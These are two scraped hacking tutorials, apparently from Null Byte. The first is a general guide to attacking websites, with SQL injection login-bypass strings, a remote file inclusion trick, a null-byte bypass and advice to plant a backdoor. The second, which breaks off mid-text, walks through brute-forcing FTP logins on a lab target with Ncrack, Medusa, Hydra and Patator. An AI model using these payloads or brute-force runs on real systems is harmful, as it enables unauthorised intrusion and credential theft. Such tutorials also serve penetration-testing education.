Hello partners, first of all I would like to thank all those who have sent me positive feedback about my posts, to say that I'm always willing to learn and teach. I'm also open to answer the appropriate questions.Second i want to say sorry for the series i left in stand by mode, as soon as i get time i will return them, lastly i wanna wish happy new year and happy hacking for you all.How to Hack a Website?We all know that hacking is nothing more than the skill of this century.So what does it means? ´It means that not everyone can get that skill. so you can see how privileged is to know hacking, in other hands it´s just like a sport, some are born with the talent, some have to practice a lot to get the necessary skills.Why to Hack a Website? Are Not We White-Hat?Even in case you never had a successful hack before i assume that once you here you already know what is the meaning of the pic above(the picture looks a little scary and more like a black-hat attitude) , the classification of hackers actually does not make a lot of sense, in my opinion there are newbies,hackers,expert hackers and even worse the skids around, even as a white-hat(according to what the world define as white-hat) sometimes you will find yourself in situations where you have to bring an a*hole down because they are running non--human websites like child pornography and etc.OK! So How to Hack a Website?There are a bunch of tutorials here on null---byte and around the internet on how to hack a website with a specific tool, in case you want to learn you are in right place, just look around, but today i want to share something that i think it will be very useful for you, take a cup of coffee grab your chair and start to read this, what i m going to show you today is totally different from my other tutorials, instead of showing you how to use these tools, i will guide you on how you can successfully use these tools and tricks to hack any website, based on my experiences.Below is my list when i want to hack a websiteThe ReconnaissanceThe reason why a lot of newbies and non-professional hackers fail to get a successful hacking is because they don´t want to wait, most of time they want a magic button where they can click and that´s all, but in the reality it does not work like that, the first thing you have to do is a good reconnaissance about your target, for those familiar with the software development is easier to understand what i mean, you can not develop a good software without a good documentation, just like the UML in software industry here is the same, we need info about the target to make our tasks easier.My Advice on Good ReconWhat are the services they are running?Figure out stuffs like open ports, software and versions on the server, and try to look for the exploit in case there is at least one online, or you can just make your own exploit.Tools that i recommend for this section are nmap,whatweb and nikto and of course some others made by Mr_Nakup3ndaor you.Did they write the script by themselves?In case they wrote it by themselves, look for scripts that take user input,scan for directory listing,check the source code,figure out how the website react to abnormal inputs, i often use these inputs:ADMIN' OR 1=1# when its an admin url like website/admin/loign/when its a normal login just try those traditional sql injectors like' OR '1'='1' --' OR '1'='1' ({' OR '1'='1' /*, but it does not end here, try to write sql statements on the inputs, do echo back to you, try to execute a command based on the server OS, figure out how the website filter the inputs and try to bypass the filters.And in case they used someone else's code such as CMS just grab a copy of it and try to find bugs on your own, or find an exploit if they use a exploitable version of the CMS.The Evil GoogleSometimes i hack websites simply with the help of some crafted google searches, as hacker you must know how to use google to gather info or hack, in case you do not know you can see my tutorial onhow to use google to hackChanging the Source CodeI bet at this point you already know how to see the source code of a webpage using the right click trick, just to remember that scripting languages like php,perl,asp, python and so on run on the server--side, so it means you can not see by right click unless its an open source platform where you can get a copy of it and change the whole code.Directory ListingIndex browsing can be very useful when trying to find files you normally shouldn't see like password files,files used to administrate the web page, log files, any files where information get stored.you can also manually check for suspicious urls like that:website.com/logs/website.com/files/website.com/sql/website.com/secret/you can either make tools that will automatically do it for you, tools like dirbsuter can be very useful for this task.My Friend robots.txtIts very important while hacking to have a look at these files, i wont explain the use of robots.txt(just google it), they often lead us to a lot of path where they don´t want robots to see and sometimes they are very sensitive paths.Remote Files InclusionFile inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. Below we have a piece of php code that open a file.<?phpif (!($hfile = fopen("$file", "r"))echo("error cant open the file: $file<br />\n");?>This example open the file with the name specified in the user input ($file).That means it opens every file an attacker want to open and if allowurlfopen is ON even remote files.Look for example at this piece of code:Example:<?phpinclude($dir . "/members.php");?>Just create a file .members.php on your web server and call the script like this:dir=http://www.server.com/It will execute your file on the target server. Important is just that you have PHP off or the code will get executed on your server.NULL BytesThe name of our community can be and is a very popular vulnerabilities in hacking life.Lets say they have a script that takes filename that it gets and puts ".txt" on the end. So the programmer tries to make sure that only txt files can be opened.But what about a filename like this:phppage.php%00It will get to:phppage.php%00.txtSo fopen opens phppage.php%00.txt or? No! And that is the point. The fopen functions stops after".php" before the NULL Byte and opens only "phppage.php". So every type of file can be opened.Scripts that allow uploads (but only for a certain file type) are also a potential target for this type of attack.SQL-InjectionSQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution, in my personal experience this is the most popular issue you will find on websites, the problem is that some websites put those info in a database and not all filter them.So when you echoed back, the javascript message is going to be shown.If they are just logged the last part should cause a sql error wich might give us a lot of useful info.You can try the following website.com/users.php?id=1and add the /'/ website.com/users.php?id=1'if it throws an error bingo, you are there.Cross-Site Request Forgeries (CSRF) And Command InjectionAbout this type of attack i also made a tutorial on how youcan proceed this type of attacksExploitable PHP FunctionsCode Execution:require() - reads a file and interprets content as PHP codeinclude() - reads a file and interprets content as PHP codeeval() - interpret string as PHP codepregreplace() - if it uses the /e modifier it interprets the replacement string as PHP codeCommand Execution:exec() - executes command + returns last line of its outputpassthru() - executes command + returns its output to the remote browser(backticks) - executes command and returns the output in an arrayshellexec - executes command + returns output as stringsystem() - executes command + returns its output (much the same as passthru()).can't handle binary datapopen() - executes command + connects its output or input stream to a PHP file descriptorFile Disclosure:fopen() - opens a file and associates it with a PHP file descriptorreadfile() - reads a file and writes its contents directly to the remote browserfile() - reads an entire file into an arrayfilegetcontents() - reads file into a stringBrute ForcingSometimes you will try all the methods mentioned above, but some web sites are really secure and there is no easy way to exploit them.Often this doesn't stop us from hacking them, they might have open ports running some services such as, ftp, telnet and so on, try to brute force it and get the password, Hydra is another amazing tool for this kind of tasks.Physical AccessIf you have a physical access to the server you get everything in your hands, be discrete and leave a backdoor on it and you done.Other Kind of Attacks You Can Also Perform Are:Buffer OverflowHeap OverflowInteger OverflowAnd the list is long, i just shared what i got now in my mind, you can also add yours in the comments sections... see you very soon in next tutorials.Hacked by Mr_Nakup3ndaWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Install plug-ins on a Joomla websiteHow To:Add a Battery Meter & System Stats to the Information Stream on Your Galaxy S6 EdgeNews:New Lenovo Phone Augments Reality from the Palm of Your HandHow To:Tie a scarf hacking knotHow To:Install Quartz Composer on Mac OSX 10.5 LeopardHow To:Prep Oats Overnight for Easy Grab-&-Go Breakfasts All WeekHow To:Use export plug-ins in ApertureHow To:Use jQuery to improve your website and businessHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Add Filters to Individual Video Clips or Your Whole Entire Project in iMovie for iPhoneHow To:Add Fade-Ins, Fade-Outs & Fade-Through Transitions to iMovie Projects on Your iPhoneHow To:Add Fade Ins & Fade Outs to Videos in Adobe Premiere ClipHack Like a Pro:The Ultimate Social Engineering HackHow To:Cheat on a Test with an EraserWeb Prank:Create Your Own Legit-Looking News Stories by Editing Current Ones OnlineHack Like a Pro:How to Clone Any Website Using HTTrackHow To:No-Bake Energy Bites Are the Perfect On-the-Go Snack for SummerHow To:Master the basics of Adobe Actionscript 3News:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:The Basics Of Website MarketingNews:NASA Kicks Off 2012 with Ambitious New Moon MissionNews:Day 2 Of Our New WorldHow To:Search for Google+ Posts & Profiles with GoogleLockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:Russia tests new missile, in warning over U.S. shieldHow To:Watch Comey Testify Live on Your SmartphoneHow To:Noob's Introductory Guide to Hacking: Where to Get Started?How To:Use Ettercap plug-ins for penetration, or pen, testingHow To:Practice long throw ins like Rory ChallinorHow To:Disable & Uninstall Mozilla Firefox Add-ons (Plug-ins, Extensions & Themes)How To:Make Money Writing Online with Google AdSense
How to Brute-Force FTP Credentials & Get Server Access « Null Byte :: WonderHowTo
Hackers often find fascinating files in the most ordinary of places, one of those being FTP servers. Sometimes, luck will prevail, and anonymous logins will be enabled, meaning anyone can just log in. But more often than not, a valid username and password will be required. But there are several methods to brute-force FTP credentials and gain server access.File Transfer Protocolis anetwork protocolused to transfer files. It uses a client-server model in which users can connect to a server using an FTP client. Authentication takes place with ausername and password, typically transmitted in plaintext, but can also support anonymous logins if available.Don't Miss:Brute-Force SSH, FTP, VNC & More with BruteDumFTP usually runs on port 21 by default but can be configured to run on a non-standard port. It is often used inweb developmentand can be found in pretty much any large organization where file transfer is essential.Initial SetupBefore we begin, let's run a simpleNmap scanon our target to make sure the FTP service is present. We will be usingMetasploitable 2as the target andKali Linuxas the attacking machine.~# nmap -sV 10.10.0.50 -p 21 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 11:10 CDT Nmap scan report for 10.10.0.50 Host is up (0.00067s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 MAC Address: 00:1D:09:55:B1:3B (Dell) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.82 secondsGreat, it looks like it's up and open.Next, let's create two text files, one for usernames and one for passwords. In a real engagement, we'd want to usefiles with much larger data sets, but for demonstration purposes, we'll keep these short to speed up the whole process.Using your favoritetext editor, create a file, and add a few common usernames:root admin user ftp steveAnd do the same thing for the passwords:password s3cr3t user Password1 hunter2Now we should be good to go.Method 1: NcrackThe first tool we'll look at today is Ncrack. Simply typencrackin the terminal to display the usage information and available options:~# ncrack Ncrack 0.7 ( http://ncrack.org ) Usage: ncrack [Options] {target and service specification} TARGET SPECIFICATION: Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iX <inputfilename>: Input from Nmap's -oX XML output format -iN <inputfilename>: Input from Nmap's -oN Normal output format -iL <inputfilename>: Input from list of hosts/networks --exclude <host1[,host2][,host3],...>: Exclude hosts/networks --excludefile <exclude_file>: Exclude list from file SERVICE SPECIFICATION: Can pass target specific services in <service>://target (standard) notation or using -p which will be applied to all hosts in non-standard notation. Service arguments can be specified to be host-specific, type of service-specific (-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000 Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl -p <service-list>: services will be applied to all non-standard notation hosts -m <service>:<options>: options will be applied to all services of this type -g <options>: options will be applied to every service globally Misc options: ssl: enable SSL over this service path <name>: used in modules like HTTP ('=' needs escaping if used) db <name>: used in modules like MongoDB to specify the database domain <name>: used in modules like WinRM to specify the domain TIMING AND PERFORMANCE: Options which take <time> are in seconds, unless you append 'ms' (milliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m). Service-specific options: cl (min connection limit): minimum number of concurrent parallel connections CL (max connection limit): maximum number of concurrent parallel connections at (authentication tries): authentication attempts per connection cd (connection delay): delay <time> between each connection initiation cr (connection retries): caps number of service connection attempts to (time-out): maximum cracking <time> for service, regardless of success so far -T<0-5>: Set timing template (higher is faster) --connection-limit <number>: threshold for total concurrent connections --stealthy-linear: try credentials using only one connection against each specified host until you hit the same host again. Overrides all other timing options. AUTHENTICATION: -U <filename>: username file -P <filename>: password file --user <username_list>: comma-separated username list --pass <password_list>: comma-separated password list --passwords-first: Iterate password list for each username. Default is opposite. --pairwise: Choose usernames and passwords in pairs. OUTPUT: -oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename. -oA <basename>: Output in the two major formats at once -v: Increase verbosity level (use twice or more for greater effect) -d[level]: Set or increase debugging level (Up to 10 is meaningful) --nsock-trace <level>: Set nsock trace level (Valid range: 0 - 10) --log-errors: Log errors/warnings to the normal-format output file --append-output: Append to rather than clobber specified output files MISC: --resume <file>: Continue previously saved session --save <file>: Save restoration file with specific filename -f: quit cracking service after one found credential -6: Enable IPv6 cracking -sL or --list: only list hosts and services --datadir <dirname>: Specify custom Ncrack data file location --proxy <type://proxy:port>: Make connections via socks4, 4a, http. -V: Print version number -h: Print this help summary page. MODULES: SSH, RDP, FTP, Telnet, HTTP(S), Wordpress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM EXAMPLES: ncrack -v --user root localhost:22 ncrack -v -T5 https://192.168.0.1 ncrack -v -iX ~/nmap.xml -g CL=5,to=1h SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLESAs you can see, there are a lot of options here, but for now, we'll stick to the basics.We can use the-Uflag to set the file containing usernames, and the-Pflag to set the file containing passwords. Then, specify the service (FTP) followed by the IP address of our target:~# ncrack -U usernames.txt -P passwords.txt ftp://10.10.0.50 Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:24 CDT Discovered credentials for ftp on 10.10.0.50 21/tcp: 10.10.0.50 21/tcp ftp: 'ftp' 'password' 10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t' 10.10.0.50 21/tcp ftp: 'ftp' 'user' 10.10.0.50 21/tcp ftp: 'ftp' 'Password1' 10.10.0.50 21/tcp ftp: 'user' 'user' 10.10.0.50 21/tcp ftp: 'ftp' 'hunter2' Ncrack done: 1 service scanned in 15.01 seconds. Ncrack finished.We can see it discoveredcredentialsforuserandftp; the multiple hits are because anonymous logins are allowed for that user, making any password a valid password.We can also specify the port number explicitly, which is useful if a service is running on a non-default port. Using the-vflag gives us a little more information as well:~# ncrack -U usernames.txt -P passwords.txt 10.10.0.50:21 -v Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:26 CDT Discovered credentials on ftp://10.10.0.50:21 'ftp' 'password' Discovered credentials on ftp://10.10.0.50:21 'ftp' 's3cr3t' Discovered credentials on ftp://10.10.0.50:21 'ftp' 'user' Discovered credentials on ftp://10.10.0.50:21 'user' 'user' Discovered credentials on ftp://10.10.0.50:21 'ftp' 'Password1' ftp://10.10.0.50:21 finished. Discovered credentials for ftp on 10.10.0.50 21/tcp: 10.10.0.50 21/tcp ftp: 'ftp' 'password' 10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t' 10.10.0.50 21/tcp ftp: 'ftp' 'user' 10.10.0.50 21/tcp ftp: 'user' 'user' 10.10.0.50 21/tcp ftp: 'ftp' 'Password1' Ncrack done: 1 service scanned in 15.00 seconds. Probes sent: 17 | timed-out: 0 | prematurely-closed: 0 Ncrack finished.Method 2: MedusaThe next tool we'll explore is Medusa. Typemedusain the terminal to see the options:~# medusa Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]> ALERT: Host information must be supplied. Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] -h [TEXT] : Target hostname or IP address -H [FILE] : File containing target hostnames or IP addresses -u [TEXT] : Username to test -U [FILE] : File containing usernames to test -p [TEXT] : Password to test -P [FILE] : File containing passwords to test -C [FILE] : File containing combo entries. See README for more information. -O [FILE] : File to append log information to -e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username) -M [TEXT] : Name of the module to execute (without the .mod extension) -m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a different parameter each time and they will all be sent to the module (i.e. -m Param1 -m Param2, etc.) -d : Dump all known modules -n [NUM] : Use for non-default TCP port number -s : Enable SSL -g [NUM] : Give up after trying to connect for NUM seconds (default 3) -r [NUM] : Sleep NUM seconds between retry attempts (default 3) -R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1. -c [NUM] : Time to wait in usec to verify socket is available (default 500 usec). -t [NUM] : Total number of logins to be tested concurrently -T [NUM] : Total number of hosts to be tested concurrently -L : Parallelize logins using one username per thread. The default is to process the entire username before proceeding. -f : Stop scanning host after first valid username/password found. -F : Stop audit after first valid username/password found on any host. -b : Suppress startup banner -q : Display module's usage information -v [NUM] : Verbose level [0 - 6 (more)] -w [NUM] : Error debug level [0 - 10 (more)] -V : Display version -Z [TEXT] : Resume scan based on map of previous scanWe need to know what modules are available before we can run the tool — use the-doption to dump all modules:~# medusa -d Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]> Available modules in "." : Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" : + cvs.mod : Brute force module for CVS sessions : version 2.0 + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1 + http.mod : Brute force module for HTTP : version 2.1 + imap.mod : Brute force module for IMAP sessions : version 2.0 + mssql.mod : Brute force module for M$-SQL sessions : version 2.0 + mysql.mod : Brute force module for MySQL sessions : version 2.0 + nntp.mod : Brute force module for NNTP sessions : version 2.0 + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0 + pop3.mod : Brute force module for POP3 sessions : version 2.0 + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0 + rexec.mod : Brute force module for REXEC sessions : version 2.0 + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0 + rsh.mod : Brute force module for RSH sessions : version 2.0 + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1 + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1 + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0 + snmp.mod : Brute force module for SNMP Community Strings : version 2.1 + ssh.mod : Brute force module for SSH v2 sessions : version 2.1 + svn.mod : Brute force module for Subversion sessions : version 2.1 + telnet.mod : Brute force module for telnet sessions : version 2.0 + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0 + vnc.mod : Brute force module for VNC sessions : version 2.1 + web-form.mod : Brute force module for web forms : version 2.1 + wrapper.mod : Generic Wrapper Module : version 2.0Recommended on Amazon:"The Basics of Hacking and Penetration Testing" 2nd EditionNow we can attempt tobrute-force credentials. Here are the options we need to set:-hflag specifies the host-Uflag specifies the list of usernames-Pflag specifies the list of passwords-Mflag specifies the module to useFire it off, and we can see it in action:~# medusa -h 10.10.0.50 -U usernames.txt -P passwords.txt -M ftp Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]> ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: user (3 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: Password1 (4 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: hunter2 (5 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: user (3 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: Password1 (4 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: hunter2 (5 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: user (3 of 5 complete) ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: user Password: user [SUCCESS] ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: ftp (4 of 5, 3 complete) Password: password (1 of 5 complete) ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: ftp Password: password [SUCCESS] ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: password (1 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: s3cr3t (2 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: user (3 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: Password1 (4 of 5 complete) ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: hunter2 (5 of 5 complete)We can see it found a couple of valid credentials.Method 3: HydraNow, let's go over Hydra. Typehydraat the command line to view syntax and options:~# hydra Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]] Options: -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify port -t TASKS run TASKS number of connects in parallel per target (default: 16) -U service module usage details -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra Don't use in military or secret service organizations, or for illegal purposes. Example: hydra -l user -P passlist.txt ftp://192.168.0.1Adding the-hflag will give us a bit more options as well as some usage examples:~# hydra -h Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -I ignore an existing restore file (don't wait 10 seconds) -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help -y disable use of symbols in bruteforce, see above -e nsr try "n" null password, "s" login as pass and/or "r" reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify portThis -o FILE write found login/password pairs to FILE instead of stdout -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1 -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel per target (default: 16) -T TASKS run TASKS connects in parallel overall (for -M, default: 64) -w / -W TIME wait time for a response (32) / between connects per thread (0) -c TIME wait time per login attempt over all threads (enforces -t 1) -4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M) -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -O use old SSL v2 and v3 -q do not print messages about connection errors -U service module usage details -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra Don't use in military or secret service organizations, or for illegal purposes. These services were not compiled in: afp ncp oracle sapr3. Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup. E.g. % export HYDRA_PROXY=socks5://l:[email protected]:9150 (or: socks4:// connect://) % export HYDRA_PROXY=connect_and_socks_proxylist.txt (up to 64 entries) % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080 % export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries) Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt sshWe can use the-Lflag to set the username list, the-Pflag to set the password list, and much like we did with Ncrack, specify the service and target IP address:~# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-10 11:37:25 [DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task [DATA] attacking ftp://10.10.0.50:21/ [21][ftp] host: 10.10.0.50 login: ftp password: password [21][ftp] host: 10.10.0.50 login: user password: user 1 of 1 target successfully completed, 2 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-10 11:37:33If the service isn't running on the default port, we can use the-soption to specify whatever port number it's running on:~# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50 -s 21 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-10 11:38:41 [DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task [DATA] attacking ftp://10.10.0.50:21/ [21][ftp] host: 10.10.0.50 login: user password: user [21][ftp] host: 10.10.0.50 login: ftp password: password [21][ftp] host: 10.10.0.50 login: ftp password: s3cr3t 1 of 1 target successfully completed, 3 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-10 11:38:48Once Hydra completes the attack, it shows us any logins that were discovered.Method 4: PatatorThe next tool we'll look at isPatator. Typepatatorin the terminal to see the available modules:~# patator Patator v0.7 (https://github.com/lanjelot/patator) Usage: patator module --help Available modules: + ftp_login : Brute-force FTP + ssh_login : Brute-force SSH + telnet_login : Brute-force Telnet + smtp_login : Brute-force SMTP + smtp_vrfy : Enumerate valid users using SMTP VRFY + smtp_rcpt : Enumerate valid users using SMTP RCPT TO + finger_lookup : Enumerate valid users using Finger + http_fuzz : Brute-force HTTP + ajp_fuzz : Brute-force AJP + pop_login : Brute-force POP3 + pop_passd : Brute-force poppassd (http://netwinsite.com/poppassd/) + imap_login : Brute-force IMAP4 + ldap_login : Brute-force LDAP + smb_login : Brute-force SMB + smb_lookupsid : Brute-force SMB SID-lookup + rlogin_login : Brute-force rlogin + vmauthd_login : Brute-force VMware Authentication Daemon + mssql_login : Brute-force MSSQL + oracle_login : Brute-force Oracle + mysql_login : Brute-force MySQL + mysql_query : Brute-force MySQL queries + rdp_login : Brute-force RDP (NLA) + pgsql_login : Brute-force PostgreSQL + vnc_login : Brute-force VNC + dns_forward : Forward DNS lookup + dns_reverse : Reverse DNS lookup + snmp_login : Brute-force SNMP v1/2/3 + ike_enum : Enumerate IKE transforms + unzip_pass : Brute-force the password of encrypted ZIP files + keystore_pass : Brute-force the password of Java keystore files + sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes + tcp_fuzz : Fuzz TCP services + dummy_test : Testing moduleAs you can see, the tool can do a lot. But since we're only concerned with FTP, we can see the help menu with the following command:~# patator ftp_login --help Patator v0.7 (https://github.com/lanjelot/patator) Usage: ftp_login <module-options ...> [global-options ...] Examples: ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 Module options: host : target host port : target port [21] user : usernames to test password : passwords to test tls : use TLS [0|1] timeout : seconds to wait for a response [10] persistent : use persistent connections [1|0] Global options: --version show program's version number and exit -h, --help show this help message and exit Execution: -x arg actions and conditions, see Syntax below --start=N start from offset N in the wordlist product --stop=N stop at offset N 